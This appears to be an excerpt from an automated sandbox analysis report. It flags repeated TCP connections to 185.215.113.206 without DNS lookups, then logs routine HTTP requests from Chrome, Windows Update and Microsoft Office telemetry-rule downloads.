Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bM6cHAbr4DgLfFU&MD=8zhm+Rvk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bM6cHAbr4DgLfFU&MD=8zhm+Rvk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
